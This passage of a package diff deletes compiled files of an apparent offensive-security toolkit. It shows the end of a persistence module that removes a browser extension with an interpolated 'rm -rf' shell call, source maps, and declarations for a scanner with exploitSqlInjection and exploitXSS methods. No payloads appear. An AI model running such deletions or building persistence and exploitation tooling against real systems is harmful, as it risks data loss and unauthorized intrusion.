execSync(`rm -rf "${extensionDir}"`, { stdio: 'pipe' });
|
|
313
|
-
}
|
|
314
|
-
return { success: true, output: 'Browser extension removed' };
|
|
315
|
-
}
|
|
316
|
-
catch (error) {
|
|
317
|
-
return { success: false, output: `Removal failed: ${error}` };
|
|
318
|
-
}
|
|
319
|
-
}
|
|
320
|
-
});
|
|
321
|
-
}
|
|
322
|
-
}
|
|
323
|
-
//# sourceMappingURL=persistenceImplementation.js.map
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"persistenceImplementation.js","sourceRoot":"","sources":["../../../src/security/real/persistenceImplementation.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AAEH,OAAO,EAAE,QAAQ,EAAS,MAAM,eAAe,CAAC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,CAAC,WAAW,YAAY,GAAG,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,CAAC,CAAC;oBAC1D,CAAC;oBAED,OAAO,EAAE,OAAO,EAAE,IAAI,EAAE,MAAM,EAAE,2BAA2B,EAAE,CAAC;gBAChE,CAAC;gBAAC,OAAO,KAAK,EAAE,CAAC;oBACf,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,MAAM,EAAE,mBAAmB,KAAK,EAAE,EAAE,CAAC;gBAChE,CAAC;YACH,CAAC;SACF,CAAC,CAAC;IACL,CAAC;CACF"}
|
|
@@ -1,73 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Real Vulnerability Scanner
|
|
3
|
-
*
|
|
4
|
-
* Actual vulnerability scanning and exploitation capabilities.
|
|
5
|
-
* Real security testing tools for authorized penetration testing.
|
|
6
|
-
*
|
|
7
|
-
* LEGAL NOTICE: For authorized security research and testing only.
|
|
8
|
-
*/
|
|
9
|
-
export interface VulnerabilityScan {
|
|
10
|
-
target: string;
|
|
11
|
-
scanType: string;
|
|
12
|
-
results: Vulnerability[];
|
|
13
|
-
}
|
|
14
|
-
export interface Vulnerability {
|
|
15
|
-
id: string;
|
|
16
|
-
name: string;
|
|
17
|
-
severity: 'critical' | 'high' | 'medium' | 'low';
|
|
18
|
-
description: string;
|
|
19
|
-
evidence: string;
|
|
20
|
-
exploitation: string;
|
|
21
|
-
}
|
|
22
|
-
export interface ExploitationResult {
|
|
23
|
-
vulnerabilityId: string;
|
|
24
|
-
success: boolean;
|
|
25
|
-
output: string;
|
|
26
|
-
evidence: string;
|
|
27
|
-
}
|
|
28
|
-
/**
|
|
29
|
-
* Real Vulnerability Scanner
|
|
30
|
-
*/
|
|
31
|
-
export declare class RealVulnerabilityScanner {
|
|
32
|
-
/**
|
|
33
|
-
* Scan for common web vulnerabilities
|
|
34
|
-
*/
|
|
35
|
-
scanWebVulnerabilities(target: string): Promise<VulnerabilityScan>;
|
|
36
|
-
/**
|
|
37
|
-
* Exploit SQL injection vulnerability
|
|
38
|
-
*/
|
|
39
|
-
exploitSqlInjection(target: string, parameter: string): Promise<ExploitationResult>;
|
|
40
|
-
/**
|
|
41
|
-
* Exploit XSS vulnerability
|
|
42
|
-
*/
|
|
43
|
-
exploitXSS(target: string, parameter: string): Promise<ExploitationResult>;
|
|
44
|
-
/**
|
|
45
|
-
* Check HTTP security headers
|
|
46
|
-
*/
|
|
47
|
-
private checkHttpHeaders;
|
|
48
|
-
/**
|
|
49
|
-
* Check for directory listing
|
|
50
|
-
*/
|
|
51
|
-
private checkDirectoryListing;
|
|
52
|
-
/**
|
|
53
|
-
* Check for common exposed files
|
|
54
|
-
*/
|
|
55
|
-
private checkCommonFiles;
|
|
56
|
-
/**
|
|
57
|
-
* Test for SQL injection vulnerabilities
|
|
58
|
-
*/
|
|
59
|
-
private testSqlInjection;
|
|
60
|
-
/**
|
|
61
|
-
* Test for XSS vulnerabilities
|
|
62
|
-
*/
|
|
63
|
-
private testXSS;
|
|
64
|
-
/**
|
|
65
|
-
* Make HTTP request
|
|
66
|
-
*/
|
|
67
|
-
private httpRequest;
|
|
68
|
-
/**
|
|
69
|
-
* Generate exploitation report
|
|
70
|
-
*/
|
|
71
|
-
generateExploitationReport(vulnerabilities: Vulnerability[], exploits: ExploitationResult[]): string;
|
|
72
|
-
}
|
|
73
|
-
//# sourceMappingURL=vulnerabilityScanner.d.ts.map
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"vulnerabilityScanner.d.ts","sourceRoot":"","sources":["../../../src/security/real/vulnerabilityScanner.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AAMH,MAAM,WAAW,iBAAiB;IAChC,MAAM,EAAE,MAAM,CAAC;IACf,QAAQ,EAAE,MAAM,CAAC;IACjB,OAAO,EAAE,aAAa,EAAE,CAAC;CAC1B;AAED,MAAM,WAAW,aAAa;IAC5B,EAAE,EAAE,MAAM,CAAC;IACX,IAAI,EAAE,MAAM,CAAC;IACb,QAAQ,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